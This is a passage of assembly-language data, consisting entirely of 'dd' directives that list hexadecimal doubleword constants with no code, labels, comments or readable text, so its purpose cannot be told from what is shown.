1F210E08h, 460A48DEh, 81C2D525h, 471F1400h dd 0FA393386h, 61DA0C6Ch, 1B3038F3h, 0C8002974h, 0F68568A1h dd 75CC3A0Fh, 0DFBC006Eh, 0D62C1DFFh, 6F9056Fh, 29D4690h dd 0A2490A56h, 1013314Fh, 0A4DD9h, 0CC03D83Bh, 0E1709873h dd 0CBE81A60h, 602C9FFAh, 485A88C1h, 3B502ABAh, 9C40E280h dd 0C7730024h, 47B81AB2h, 0A50ADFA1h, 60433CCBh, 0AE648C00h dd 0C77B4D6h, 9FAD1C0Fh, 21C08408h, 0AFAE6CF9h, 126201B8h dd 8043E22h, 6808206Bh, 1BC71A03h, 0E12D0F80h, 18800654h dd 8F3FDAB2h, 62EE2B56h, 0F8C8EB2Bh, 50584600h, 867F4740h dd 8AAE44h, 36BB583Eh, 5682FCC2h, 68CB19C6h, 24DB7C58h dd 1124EE4Ch, 584980C9h, 0A43F4057h, 8DD3442Ch, 5E584125h dd 43400CF0h, 702AA040h, 0D615DC29h, 26BC1868h, 7402CD24h dd 87B8F49Eh, 45C5A6E4h, 0AE699C60h, 4FB423D5h, 0FA009011h dd 4205AE91h, 0A7051335h, 0E0BC7143h, 769CAAC0h, 0DFD0A3E6h dd 2931ACh, 19DF01BAh, 4C92E181h, 0BDAE0607h, 4283597Eh dd 8D29388Eh, 82A04B80h, 8331E048h, 5A113204h, 5380FE6Ah dd 499254h, 0AD61433Ah, 0EF451F75h, 41C07F64h, 0D1AE9560h dd 116FB423h, 9DFE008Ah, 78E4F8AEh, 7AC7A68h, 323882DDh dd 1FB551h, 4B1B59F4h, 0D0A8EEE3h, 7E01D50Bh, 9F37706Bh dd 2ACB68DFh, 3AC0508h, 0FD7ECD32h, 318067EAh, 48DD2274h dd 88B4A615h, 0AE92C03Eh, 6746B4D0h, 0FF009122h, 9052AE9Ah dd 1DF5572h, 0C9F64C25h, 80F2E3E7h, 19D8AD99h, 1459AE47h dd 0F473D6B5h, 0F8063D80h, 3E6F5C4Dh, 0A4428351h, 0D01FA5B2h dd 3020FE12h, 0C30FD3CBh, 0C8EF6139h, 0C51EA7E9h, 0F639F802h dd 74019777h, 0B2F26524h, 2C32D0BDh, 5DFE5A00h, 0DC856008h dd 0B0D8D703h, 98F409F7h, 25193D6h, 0D514AA4Bh, 0EC410B86h dd 0A69192FBh, 9623D82Fh, 8800FA2Ch, 39F7E5CFh, 65F41455h dd 3210B43Ah, 0F5071499h, 832C4091h, 0E9C04179h, 0AEA45468h dd 32D20147h, 788F11EDh, 13882ABh, 446B3059h, 2494600h dd 70697ED7h, 0B9FC31C7h, 7ECF0521h, 2C8093B9h, 309E71EFh dd 4D58A28Ch, 3701E81Eh, 0C62F25ADh, 94369A33h, 460A5707h dd 0FC448A2h, 0A4ED841h, 2C0F37Ch, 8F0C91BAh, 211D7AD6h dd 11012A2h, 1EF400FCh, 4CF01C28h, 5B656300h, 0AD138D06h dd 0BEF0088h, 3219EECBh, 726F6ACh, 0FA01983Bh, 6C592BF4h dd 397AAC32h, 0D4029D4Ah, 0C60FDFB4h, 0B0C3EC6Dh, 70349022h dd 0DD0932B4h, 0E06E3AD0h, 4CDE0724h, 482886Fh, 24CD7BB7h dd 710C43Ah, 9E8EC718h, 135D7910h, 0A9441C86h, 0AE704AF6h dd 8D7B06C8h, 949051EFh, 0E4D7362Ch, 0CDC84990h, 61584DC2h dd 0C0365F70h, 8100AF22h, 57615845h, 496B0BE3h, 3A9248FDh dd 852350h, 682A6A8Dh, 6015D0Dh, 0CD62875Fh, 0B9AC1EA3h dd 11467400h, 58A84B00h, 0AB0687CCh, 140EA498h, 21AADBCEh dd 0A5E4ED33h, 0B01885C0h, 0CC8481C4h, 58084A18h, 0C467404Ch dd 429E41ACh, 0FAC41D58h, 0D1806398h, 2106C0D5h, 0FDEED6FCh dd 768C0042h, 8FEE803h, 0A20B3F02h, 22F94570h, 261D7458h dd 56018A0h, 60E84890h, 0FF5531FCh, 23FB7918h, 900B7B7Ch dd 37A7654Ah, 3FB90008h, 74EF16D4h, 5CDCD751h, 54B1439Ch dd 0A520039h, 62515D11h, 70C51271h, 0B4010C0Eh, 9CA09030h dd 0EC34B96Ah, 0C2EEA0FAh, 70403B18h, 8055B8A6h, 0A2F433B0h dd 0FD1E30AEh, 4F0DDD00h, 0C08E709Ah, 52B0C0A1h, 4DCB7B69h dd 24099172h, 20F8E09Dh, 0A120574h, 36D0176h, 0E248323Dh dd 80FD8F0h, 0F2913000h, 0D39B4BD1h, 0D6BCA821h, 1CF1008Dh dd 0C0EC47E4h, 404CBC48h, 9EFA82A4h, 5288A233h, 0B8DCC05Bh dd 0D81D60D0h, 9DF0556Bh, 0D4450901h, 8DEA684Ch, 30781C29h dd 6D49FAE3h, 0C100E587h, 0DFA29F21h, 4BAE39h, 989D909Ch dd 0CA47FF06h, 3B4AB402h dd 80EB5F82h, 6D31F440h, 58A64948h, 40C1CAC8h, 37CC5658h dd 0D244867Ch, 0C870F588h, 99EE00C0h, 3CA7AFCCh, 6A01F972h dd 9C4289F0h, 0DC4484AAh, 6891A4D9h, 81448BCEh, 7F5740C0h dd 9C345Ch, 9EED583Ch, 82163FB0h, 0AD391A73h, 0C7B30901h dd 0CB2C417Fh, 0D2F24033h, 1EFA30h, 46BCA251h, 425B6709h dd 6C27ED02h, 0A0D16FDBh, 0EE7A9AD8h, 5D3625FEh, 3A422898h dd 0AFC81C0h, 295B02B2h, 0CB8EC33h, 0B5213998h, 27DC0416h dd 0B9EA9404h, 303B70C2h, 0D317AE93h, 6C389FB4h, 0AE9B00ECh dd 4D97F239h, 240E3FA9h, 0E028ED1Ah, 46B4EC5h, 0C19B0037h dd 0B03A2C8Fh, 422EB9CAh, 1B12B0D6h, 0C038F008h, 0B4D2AE90h dd 8B229746h, 0AE98ED02h, 0E06F958Fh, 2479686Ch, 86CC0C09h dd 4C302C86h, 0B7463706h, 107701h, 321C7B2Bh, 0BB6C7640h dd 4AFBF50Eh, 86D42746h, 205E90C1h, 8A3C2181h, 0D8A5CF03h dd 9D667A64h, 0B213909h, 0FF03825Ch, 200918Fh, 0C137D16Dh dd 0C51BD198h, 0BF582407h, 8A7417B0h, 0A6821C22h, 0C9660034h dd 0FD3B407Ah, 0E081AB60h, 0CFF411Ch, 0AA32876Fh, 44741AA0h dd 0CE60B0C0h, 0CC98ADFh, 0C13640BAh, 21C05A09h, 0DBDFC680h dd 297700BDh, 4B48DB0h, 86804039h, 0ED5F3F6Ch, 7BBFBC0Ch dd 0F330EAA0h, 28887949h, 968CA97Ah, 39EF5D4h, 445690FFh dd 87760F7h, 72BC21C0h, 76D6A9F5h, 3557A84h, 70FF981Eh dd 7C80B57Dh, 3E0CBD6Eh, 48836CD5h, 0D0566420h, 0DFD46072h dd 0EAC92190h, 0DFCC86C0h, 8E9F00ACh, 72BFD52Eh, 0B528B7A6h dd 0C901E48Ch, 5450B203h, 9852867Ch, 0DFD0306Eh, 0CAC98C11h dd 82805988h, 0D455DFC8h, 49E5142Ch, 98008453h, 0B7266ECBh dd 68C19F99h, 4D360C3Fh, 10939108h, 0D0038B01h, 34187EA5h dd 835D88h, 450FB403h, 0F182A096h, 47C95903h, 281DDE7h dd 9513CD60h, 0D12E57D9h, 0D4038F80h, 0FF8C9EA5h, 3876110h dd 3EAD9900h, 0E7A84A3Fh, 0B9846121h, 15F09FCh, 60E8BD82h dd 43A4059h, 8F1C41C0h, 19B63C1h, 4D7C5809h, 5A7BDE7h dd 5E224481h, 41EC4092h, 0ACB82B24h, 4FA04377h, 490B2283h dd 80FC91DAh, 23DDBD56h, 1268913Dh, 792C6087h, 0FF219DF5h dd 71BBC088h, 0BDE687F5h, 0DE58E700h, 5FA0836Eh, 9D58A031h dd 0C500073h, 53F96D62h, 717FBA4Ah, 1F6E3507h, 65200156h dd 6005BF20h, 0D5A1C895h, 0EB01D1DBh, 23B353D4h, 50801D77h dd 500D286Bh, 61C092FBh, 0D59E886Eh, 39EF079Fh, 0C138344Ch dd 0A85CA085h, 7019D081h, 9C11B506h, 4404C7F0h, 993E5235h dd 8CBB8139h, 84B3209Ah, 21460898h, 39029173h, 47F5BD63h dd 3D94802Eh, 15162BA2h, 2C33228Eh, 9A01C823h, 94BB7739h dd 9274040Eh, 0AB0F9B39h, 4D5F1890h, 9BC7CD9h, 0ECFBF837h dd 93251480h, 1573FC07h, 8844FCA2h, 3B42DA00h, 0CF417E16h dd 5F19C687h, 130F2129h, 0A077F3A4h, 82529514h, 0E60B020Fh dd 96EDCFA9h, 74C4B88Ah, 3E725A46h, 7403F8ECh, 450675C5h dd 8ED3D902h, 60F1D881h, 48DC67h, 0AF713F97h, 0AC17A79Eh dd 3D2ABC3Bh, 1C758555h, 87C4AB31h, 0DFCF4020h, 0C2C9238Bh dd 81075811h, 4012DFC7h, 0A6844A80h, 0BDF80202h, 804C13FDh dd 36E06CA4h, 6DFA2A4Fh, 0B22B3F84h, 286416Fh, 0A5091923h dd 90830DBFh, 84442E1Ch, 90029646h, 0A6A5D503h, 62103531h dd 0E4030388h, 9308B731h, 1B901063h, 2BC60651h, 0B08142BEh dd 36A601B6h, 0E3D9FF64h, 1B34605Ch, 13BC6C49h, 2C3A76F0h dd 5003923h, 5695895Fh, 0EE060D94h, 0F9888B47h, 8D5C001Fh dd 80CD7B41h, 2B2AD640h, 29F0DCC0h, 42197F67h, 72D1E460h dd 80FC1CE1h, 8A312D7h, 0D3C07114h, 46C98FDFh, 5522E2h dd 0BEDFCB85h, 0D3B9FFD1h, 92E86B67h, 5A6C0370h, 74D64C9Dh dd 0DE013700h, 0D285A193h, 23080A48h, 0DFD1036Fh, 8EFCC98Dh dd 80833E48h, 75E671DFh, 0D80B073h, 46BA2C6Eh, 0AA2BF421h dd 0D6EC3A50h, 0FCD83848h, 96008C4Ch, 7F57A3B5h, 240185C5h dd 402C1BE0h, 0CD079BBh, 8E247B00h, 3D8B0EE5h, 0A12879F3h dd 8D1893E8h, 0A5D20308h, 4037C48Eh, 0CD03855Fh, 0A581F4Ah dd 0E760C011h, 530BB1A7h, 3798A4A0h, 8EDB5907h, 5D60402Bh dd 37B06F18h, 0B091C941h, 0F631AFC6h, 487B24h, 0F1DBDC00h dd 34B27587h, 84869A3h, 98C0C684h, 46BB7539h, 1472284h dd 53399072h, 80882842h, 48160A69h, 3EC2319h, 597B8C20h dd 1EB0605Eh, 0BC79426Eh, 99939205h, 0ACD2D7A9h, 7E84418Bh dd 84411E21h, 83045153h, 14D46B88h, 0C1980058h, 69A7C845h dd 3E262813h, 2948A0E4h, 3C81C080h, 93CB12AFh, 7ADF3B07h dd 4F60591Dh, 0C1349DF9h, 61E7A7B8h, 0F0F4219Ch, 0F8C8F52Ch dd 399FC0CDh, 0BC46BB7Ch, 79004D22h, 9CB13997h, 0EE6523D5h dd 5772EF1h, 71E540D8h, 112F8ACh, 3413C0DFh, 4923383Fh dd 0EA27D800h, 54B72C4Ch, 6728E854h, 65A6F184h, 0CB168008h dd 0BA901115h, 59C1301Dh, 9891D4h, 0CF823823h, 2901F5A7h dd 7178215Fh, 57184Fh, 0CEEA53ABh, 9EF3287Bh, 0DD000670h dd 0DC4FE7ACh, 94AB1413h, 57465C7Ch, 0C9811D38h, 0CFCDBBC3h dd 0A1F8402Fh, 0F51955F4h, 0CE101E3Fh, 38BCF028h, 0D14268Ch dd 0F8CC006Eh, 47FE8F46h, 2C500A3Ah, 9D80D895h, 0B1987008h dd 7DF92A7Eh, 4680B0ACh, 0F5750283h, 3168FF99h, 6DB7108Bh dd 65B200F5h, 7701B515h, 0D24CF45h, 0A002348Dh, 0A2489D85h dd 0A0521BA8h, 67BEA380h, 6580001h, 8736B9F5h, 5D008C9Ah dd 43F928E5h, 413EAF7h, 931F950Bh, 0B859817Bh, 0A6E4745Bh dd 42493516h, 9DF67C09h, 804E1164h, 7B49E206h, 0E10031Fh dd 228C7C6h, 0EBB62BC1h, 23F86948h, 0DFD50173h, 63F2C991h dd 0CD8780CCh, 16119DDFh, 298C8EB3h, 0A8D429A8h, 99650716h dd 0E0F2A692h, 5BCE5EA4h, 4DC7CD10h, 4FDA0104h, 1D8D0B42h dd 805D1150h, 75CD66B7h, 71110033h, 0A74B6C56h, 40613FA9h dd 0E1035D58h, 8FB8B82Ch, 42B4028Ch, 0EB621BACh, 86C934E0h dd 4770CB81h, 598CA036h, 90486166h, 8A98C641h, 842F5F41h dd 4B505880h, 50D85AE2h, 0F2A008h, 463E1D19h, 1263A832h dd 39852A34h, 5ED7A481h, 839A0717h, 110B5057h, 37F50203h dd 0AFA7837Ch, 0E7F845A4h, 0D30E85FEh, 0ACFC082Ch, 39F7C84Eh dd 2706F489h, 0E97EE1E7h, 97326DA0h, 9104FCACh, 0AEA5D603h dd 63C0C0B2h, 0EC970389h, 336DE405h, 0E488B42Ch, 0F22B10C9h dd 0EF9D0649h, 2E68A245h, 88EC7E10h, 0F8A44DFBh, 3F89B118h dd 0A214BFCh, 5648868Ch, 763946h, 0F2E37B6Ch, 0BF31A2Bh dd 89ACA259h, 121037E0h, 97200CFh, 0E7500B6Fh, 50898D2Ch dd 50880592h, 8CED21EFh, 65B8E08h, 78D124A7h, 74028246h dd 60FF98F5h, 0B6108D31h, 3C00F56Ch, 9086CD55h, 9FEDADCh dd 3F9F856Dh, 10495491h, 0FA439EC4h, 736218B9h, 4FA9D08Fh dd 5286C48h, 25FBD5BBh, 2BA72CD0h, 0B73C00C2h, 1DD2130Bh dd 0D1D049E7h, 398E14DCh, 8C35F8C0h, 7390AF02h, 0E014A40Fh dd 252C4408h, 1CB5AA96h, 31F1D180h, 0EFF62FAh, 7CF439A1h dd 5FABB9A2h, 54E1ACEBh, 67CBD07Bh, 5DEFA80Ch, 1343C8A0h dd 0CE36D233h, 0C033C82Ch, 56BC683Ch, 10AB852Eh, 3BFDBB41h dd 85A48FC6h, 0C42251A1h, 0F0DE2055h, 2C009E1Dh, 84BCFDF2h dd 74109F94h, 5246008Eh dd 231DEF78h, 45703DC2h, 0A77AA97Dh, 0B8A6FD30h, 13145429h dd 4CA4031h, 21A14144h, 7A02527Eh, 0D4DAC80h, 1312714Bh dd 344043B2h, 868CBF3h, 399D636h, 570E333Ah, 0B7A92004h dd 24E17DD1h, 59E2DC72h, 3FB89E30h, 8D241A72h, 0D1220224h dd 9CAA2D5Eh, 0FDBE00C5h, 5BC25128h, 9CC83103h, 0C0D84573h dd 601A7CDCh, 0BEDD5148h, 2D010991h, 928B1EABh, 90E47DD0h dd 0E86E50C6h, 632C0F69h, 1840A2FFh, 0C274D0BDh, 52BED0C5h dd 0C171EC23h, 8404166h, 3C94FBCDh, 9F095813h, 0BC0445F2h dd 0F57B6189h, 8798FFF8h, 0F573BD00h, 0BDDE92Dh, 79FBCA20h dd 4C5B5042h, 9D22F808h, 0E9FF809Dh, 5ED03DFBh, 8219306Eh dd 0C03CC4D3h, 0B6D289Dh, 5182DC80h, 0D668A680h, 4350774Dh dd 0A00324A4h, 0C141ACC6h, 85890A7Eh, 86E434AAh, 8E131BDh dd 291FF513h, 14CB6425h, 0B6C04AC8h, 9C13723h, 0FFFDBDD8h dd 0D1996822h, 310DFC5Ah, 18378FD6h, 0D1007033h, 9B287395h dd 5D0025B6h, 183E0969h, 16DEE4B0h, 9D33A06Dh, 0E22462B8h dd 0E1883031h, 0A02A2E27h, 6A749A9Ch, 1BEB0B01h, 74B7AB05h dd 0FD80911Dh, 33C965CEh, 1B4E40FAh, 0A42DB712h, 0A08B8816h dd 10C05DC8h, 0E6323F4h, 406B958Ch, 7E5FC082h, 9FC204D9h dd 481D0913h, 0F893611h, 336A7780h, 410B7F9Ah, 36350E13h dd 89FC10B0h, 0E2384233h, 0FB3A3037h, 26C53F1Eh, 0CE0C9CC5h dd 41D340B0h, 38443028h, 8BC04188h, 0D3FFF7C1h, 538CD2CCh dd 56FAA520h, 9C9F00DAh, 6BA913C5h, 0EC0158D5h, 71AF3668h dd 186C27CEh, 9F3BC322h, 9155ADEFh, 8155E14h, 9EC0CC7Ch dd 46BB7B39h, 14822B4h, 1A399678h, 97022C88h, 0B4434F86h dd 0C26033h, 0C5F91571h, 4649FC31h, 3422774Bh, 0F5763084h dd 70FF9A11h, 0B8808C88h, 0FB1EF56Eh, 0C53B0A61h, 0C984767h dd 7269265Eh, 0F6D4F700h, 37C63FB5h, 29911AD7h, 0ECD171D9h dd 0FC188E79h, 4C273A00h, 73D201AAh, 0FDE1C763h, 8468CB2Bh dd 32811FEDh, 0AC28380Dh, 0FA008C4Fh, 0A8F1EA02h, 39A086AFh dd 64CC7E14h, 0D5910C02h, 144ABF7Dh, 0B7D054DBh, 17B7766h dd 0B3B147D3h, 611B7563h, 0BE0018Ch, 0CC98004Eh, 0E92C0B51h dd 24696D3Ah, 7C0815A5h, 38CC092h, 23FBA5D1h, 845E80B4h dd 0D0E903h, 0E7D623BDh, 0E01A687h, 0C320A0B8h, 45C60926h dd 0B82281CFh, 0C0C1759Fh, 4C90A952h, 471849D1h, 4F1D2B06h dd 193C06h, 0EA2CD357h, 98B7C3E9h, 0D486D73Fh, 4A00FB10h dd 9AE9FAE3h, 23293A2h, 416CC653h, 0A4A078CEh, 0D0917BCCh dd 0D7D1FF18h, 0A2111BA1h, 0D180F9C4h, 1BD1859h, 379F75B2h dd 0F0CD6C0Eh, 6A05D5FEh, 8D5C48F9h, 0C0CB8008h, 0BB7A399Dh dd 4B22AC46h, 3995771Ch, 0BA4F5A41h, 5ACAB529h, 10AC0790h dd 306162F8h, 3A992B3Dh, 0B40F830Bh, 479461DAh, 0BB8E5A00h dd 0BABCD2Fh, 4A4C40F8h, 3F212DFBh, 381024B3h, 1013C8Fh dd 47DDBBE0h, 5370134h, 44FC2020h, 0DCB4111Dh, 89C7A602h dd 6BF88190h, 0A832874Eh, 673035F2h, 10D704BBh, 82C57938h dd 6C202D54h, 188FE84h, 855325C7h, 32CD414Dh, 27C58A8h dd 0D275D382h, 87E85037h, 634744B4h, 8329F103h, 3F6D5980h dd 5D7B97E4h, 16E62002h, 0D94FEC5Ch, 0CB828138h, 33E27B6Dh dd 3393B284h, 5AE3D1E8h, 0B50DB001h, 2C3C7E3Eh, 1E1472FAh dd 0A0862B4Bh, 97A20227h, 8757910Ch, 0E200C6Eh, 187FB216h dd 0C06DDBD1h, 29C7471Ah, 1DE05703h, 2C7B8205h, 3A60A16Eh dd 301D42AFh, 0A8E4F91h, 0D24B44A2h, 0D1E87EE3h, 8A5428F5h dd 2A3C0180h, 0BF278022h, 64D09C1Dh, 3110000Ah, 785194DCh dd 0CA0823A5h, 4A2A33h, 4EF6417Bh, 794BE7A8h, 96FA640Fh dd 9403447Eh, 3BDDE5Eh, 38482BFAh, 330014EDh, 972F0736h dd 0B68C262h, 4D8661E8h, 481B4061h, 3600A09Ch, 0D8B69979h dd 7C232982h, 448552E1h, 9BF57702h, 0A85178FFh, 0F56FB960h dd 0DB210007h, 812FE5Dh, 0A129709Eh, 4AD1BCF4h, 0C71FEF18h dd 8AC07BE5h, 0EEFBF1FFh, 4150C281h, 0E04BD5C8h, 4C03B9E8h dd 0EB420490h, 1E0BC909h, 0F39FE840h, 0CC2F404Eh, 0AD008B23h dd 0F1B7457Fh, 7AD4A2A5h, 2B6045FCh, 293FC86Eh, 0F3B82800h dd 0BE836E35h, 97E11925h, 808F1160h, 3D9BFEBFh, 4DC263Fh dd 0A354080h, 1F2C01CCh, 7308A431h, 4F91056Bh, 0A50CC8F9h dd 3C4ECF4Eh, 0EE214E36h, 1F1D69C4h, 81921144h, 2D68C0E6h dd 0EB7960h, 9DDC8FC4h, 1C5B2629h, 8851C71Ah, 6D00270h dd 0AD770457h, 38D7B8D4h, 0B217035Dh, 5B54C0F3h, 4140BBCDh dd 3A5025B3h, 5480B8C9h, 883C8EC0h, 8428C156h, 1FB0AF54h dd 80471120h, 36CBE7DDh, 0D9EF13A8h, 0CFF8877Fh, 8BAB0A04h dd 0C75BC824h, 0CED43078h, 0BA09BFADh, 7AC5F999h, 0B1890B1Ch dd 0A0C59E50h, 1B618CE4h, 0FD907089h, 0A423DB2Ch, 448BDD93h dd 0BC048C8h, 51859BD0h, 0B2F1CA7h, 18679E10h, 6E5A5911h dd 779700Ch, 5C05CA70h, 8CD0B416h, 3AFF00C1h, 0D3A14107h dd 2D803848h, 118A0C6h, 0D65A3FDAh, 22249D18h, 3091E284h dd 0BE03B0A6h, 0AD729D98h, 634C069h, 6918B668h, 31E4D845h dd 41551561h, 102943CCh, 0CB5607D2h, 10E5C2B8h, 0A5605BE4h dd 0E503A6CBh, 0CA3B781h, 662BC088h, 0C9A8DF3Dh, 4C7851EFh dd 0C86E9F5Fh, 2B92C502h, 0DCF137E9h, 87189379h, 0B325DA09h dd 0EC140073h, 0F12C212Ah, 293ED43Dh, 4B2D3160h, 380E06E7h dd 539BB17h, 0F85497D2h, 8C4BE860h, 0CA65B803h, 0B96DBAC4h dd 3428AA86h, 0A103F584h, 0A2303348h, 0B3C43090h, 15D8B103h dd 0C95DB2F1h, 432E4AD7h, 85ABE30Ch, 887930A2h, 60195C79h dd 82019D91h, 541547Ah, 0A468CB50h, 37D10C9Eh, 780A01C9h dd 94714BB9h, 49451D0Ch, 7CCC2440h, 7E6600D8h, 1401A691h dd 9FCC189Fh, 8E343D9h, 8C3D4835h, 0DD494F1Bh, 0F0A5890h dd 8FC7B4ACh, 9A6CB507h, 8414B21Fh, 0E8E20990h, 450CD0AAh dd 96B08B46h, 0AA6C6839h, 38341361h, 2CACA428h, 0E53E5200h dd 0D6B1598Ch, 1B5B3EDBh, 0F6661D87h, 43D39781h, 3101FD4Fh dd 0C3917D76h, 0E4332236h, 7E304CA2h, 9C790009h, 1B1D548h dd 8CA0C218h, 0D05F820Dh, 8E233C2Fh, 0ACAB2A00h, 6F777D1h dd 36C4D4E3h, 7F09A025h, 1046CBD9h, 28B27560h, 52085B4Bh dd 9B0760C9h, 0D9BB7839h, 75603459h, 433993h, 157BBF74h dd 67BB0DF7h, 0B8511A2Ah, 9AD2E900h, 0B8313340h, 0C3E0A2h dd 0C52A9885h, 44F425Ah, 0E8401F5Fh, 0BA03A025h, 8DE700AAh dd 7267F022h, 3F135128h, 98A2874Ah, 4F3035E2h, 3C580065h dd 2EB35C0Ah, 67F48C39h, 0A4405F4Bh, 0E022B004h, 5D3104C8h dd 0C37C2862h, 0EF0D73Fh, 0F8B41C1Eh, 64A44727h, 1E9D6057h dd 1B1313DCh, 282C4B49h, 0FCD31449h, 4490B51Fh, 4674B0B6h dd 37960455h, 0F4B4D9F8h, 38939502h, 0B30E1EB2h, 7D25BC04h dd 0BA019E00h, 0F89E580Bh, 271E3388h, 649FC49Bh, 7DC8F971h dd 5E9C748Ah, 29023046h, 5FA0906Dh, 193C68D2h, 51A8012h dd 2859D823h, 8BF5373Dh, 9FD72186h, 6860E9EFh, 0A47288E4h dd 263B0894h, 0E7DC5F09h, 6039C4DCh, 0CDC446h, 271348EFh dd 5B9D6FC7h, 49BFFD19h, 85102261h, 772ECB94h, 5E0B8C2Fh dd 0B9F84E06h, 189159B8h, 95FC00B5h, 5FC27289h, 0CF6B29DEh dd 11141D51h, 0F8038090h dd 1E8F3941h, 4B658ADBh, 0E448250Fh, 2F852A1Ah, 91170435h dd 41D6DD02h, 446C7E5Bh, 23288D03h, 0A3AAA584h, 6C80096h dd 8E78FEE0h, 81D90FFBh, 0B91CFF23h, 186BABDAh, 73206B00h dd 892ACA56h, 0E5D8538h, 0C6090614h, 130C1A25h, 0FADB8C66h dd 15882D8Bh, 0E86534C3h, 3ADE9C6h, 0B5333A8Fh, 585A2B2Dh dd 848106AFh, 0FF0C3537h, 1E121195h, 502CDCF8h, 8B50010Ah dd 240489F3h, 0B8ECEC6Ah, 0C2FA8C1Ch, 18DDD31Ch, 0ED122A00h dd 9F040FE9h, 4674207Eh, 32C90119h, 0DAB2779Eh, 1719E41h dd 0FB84B003h, 6CB0CDE6h, 87300F60h, 0DEBF1705h, 2D460CF6h dd 521512E9h, 68E5CE01h, 0E451A599h, 0F7C830h, 4DC37C37h dd 61DE0831h, 7F70E62Dh, 71E41F10h, 458D290Dh, 0B6F8A426h dd 9D890CD8h, 0BA122DF9h, 8B2D8AF7h, 822CBC3h, 1F89B51Bh dd 0ED0C1026h, 0E8C10911h, 0BEEDF704h, 0A08D2263h, 1D66EA2Eh dd 39847BEh, 0D82BE2F7h, 0B656410h, 0F945038h, 663F2F8Ch dd 895FF283h, 0BDB1241Ch, 0FC9B81D5h, 2C05B5FFh, 287E18Ah dd 10F11260h, 1C60812Dh, 2BE5B523h, 0D4B5D6A4h, 0BCED8018h dd 5FA95B9h, 44483604h, 10BB3464h, 0E86FA932h, 0C74607B1h dd 4C4F196Dh, 99150Fh, 0E2251AE7h, 91C0AFEh, 0B8E6C901h dd 5F190201h, 0ABF5EC4h, 7F4DF177h, 8B0F05CAh, 0BE6E0E04h dd 613CDD43h, 0ADC083E1h, 7CB7D7C2h, 0EFDE1505h, 0D6EEF450h dd 0C0BE9ABBh, 9C6D30AFh, 894E09E5h, 0CB2A31BDh, 0AACC2815h dd 8053D705h, 5D2E58h, 0BDB0FD34h, 1D76A83Bh, 7C850692h dd 0A2601AC4h, 0A63883E6h, 0E93E8C3Bh, 0E31F09h, 7F957C6h dd 0A6B74A13h, 8791D69Fh, 20FFCE8Ch, 0AF23B868h, 2D930A16h dd 630B90BBh, 0AD003158h, 64CB702Ch, 9899BC4Dh, 8F8609BFh dd 380ED983h, 0C85E3811h, 0D6810064h, 133FE1AAh, 18667858h dd 1C2DDEF6h, 0D038880Fh, 0EC164C01h, 80F8C1Dh, 60F81138h dd 485BA135h, 0ECBE0073h, 2B0D7AA5h, 1950D1BDh, 0D69FB9D3h dd 0B5752DABh, 0FD8480FAh, 4D6D13C0h, 0A7212B00h, 428BF66h dd 0B0C14883h, 45A8BD24h, 8686023Bh, 0DBD50162h, 792A780Ah dd 0C0ECA300h, 8970EA68h, 18FD2C8Dh, 2ED94547h, 1D1C232Ch dd 0C2200F1h, 3F1F9F28h, 0C1F66316h, 0A4CE4248h, 1E3D0893h dd 5BE54826h, 0B7A8A6ABh, 0E83865F3h, 0B7F98B54h, 3A80267Eh dd 2B9CCBC8h, 0B7D20956h, 7E82603Eh, 29011B31h, 7FBA6185h dd 0C32B5F0Ah, 1D465C41h, 7D573A00h, 1CDCDDEFh, 0B05C1B13h dd 489F3700h, 0D008343Dh, 4B35DC2Ch, 0BE6F39h, 0EFA82AD6h dd 0C876A9Eh, 6A19D01h, 0B52C0BC0h, 0E98D9099h, 0BC6B3753h dd 0C077808Fh, 0BFE04Dh, 84256C08h, 4378F7Ah, 0A05F5201h dd 0C08B6169h, 0AC56BD6Bh, 5DCC0262h, 991CBA5Ah, 0FC5A7Fh dd 47783D39h, 0E19FEA71h, 92D860Ah, 0A028C4F8h, 0D8817391h dd 254DBD23h, 8C71497h, 7D000C96h, 3152B53h, 0C4D4B0BDh dd 8060C035h, 9FA3EAFAh, 21B660EDh, 0E3611340h, 5762BDF5h dd 85D1D024h, 8C33850Fh, 63CF65BBh, 0D72C9AFFh, 0FB78E5FBh dd 0E1322E6Ah, 22831C30h, 8B9A6159h, 1C8C0689h, 0D339F8C1h dd 49E65AFh, 1E51C5h, 0A1B53190h, 9D1FA125h, 5E160DAEh dd 3D001D46h, 6C07EC38h, 5C13A77Ah, 2E0B9B1Ch, 4AF12A05h dd 0A3DC00DEh, 0D70DD061h, 0BD143134h, 14661615h, 2D5F2B85h dd 509D7FE1h, 4B801491h, 8589F88Bh, 8315B92Bh, 0A441D8h dd 0B556D4EAh, 0B6CE257Eh, 336BBBBAh, 85073756h, 6BCE46D9h dd 9537286Dh, 0B7161D20h, 0E940E474h, 0E3FFF829h, 0ADE5ED6Bh dd 3A730FCh, 34DFE812h, 0EC9EC9F7h, 0B02E1120h, 20612236h dd 6BAEC15Bh, 0C4DC24ADh, 0DD7ECF02h, 0E1B7E4EBh, 0AC30FD6Bh dd 83A1018Dh, 0DF4D30Bh, 0C65C80B3h, 9D292F5Ah, 3789ABDh dd 17B1BF51h, 81946A5Eh, 6B079134h, 93C340BCh, 54C8F4F6h dd 431D7F90h, 6E66F8F1h, 73006020h, 3349BFA7h, 4F8BD3B0h dd 5BFCD0h, 3668CC3Fh, 3F778C35h, 0F10466E0h, 0C2505E5Fh dd 60210822h, 0B8FCD98Ah, 61470F06h, 0C5E50190h, 0DBB2BE11h dd 0F5BAF832h, 399B722Fh, 0D3449ACEh, 8932C260h, 3D898212h dd 0AB61050Dh, 0C586A4h, 29079FA0h, 85F945A7h, 0B601E401h dd 619505B3h, 0F5E59A40h, 0A6066117h, 0FAC083FAh, 6AE000CDh dd 21FBA2Fh, 29F38E60h, 0C8A2A9BDh, 0F2D75090h, 674D03B8h dd 8DD0E181h, 50A2AFEDh, 0EE825A76h, 442A9E64h, 0F0021723h dd 0C0FB5708h, 41E98DF5h, 8FBADC12h, 0FD27433Bh, 5502616Bh dd 96E02B48h, 0F4819000h, 221AD20Bh, 657700F7h, 4B88BB06h dd 5F2D7E8Fh, 3C12D509h, 0CE02BEDh, 29F59ADh, 0BD349D06h dd 0F940FF97h, 6B124D9h, 11B1908h, 0A7789D8Dh, 0B24B6317h dd 0FF3D301Ah, 0FDCBA700h, 57BF220Dh, 529B2E33h, 1351117Dh dd 3EDBD3FFh, 537A9483h, 0FA1BE10h, 860E5E37h, 85275B01h dd 0CD7F09EDh, 0AFE3C09Fh, 0A9278B4Ah, 621FF9Ch, 0C4248CB4h dd 6C0106BCh, 19CA6F6Bh, 88F479E5h, 82E0031Ah, 63E6815Eh dd 0E93E7BD8h, 5A01A35Dh, 0EFF261AFh, 0E7FC02F5h, 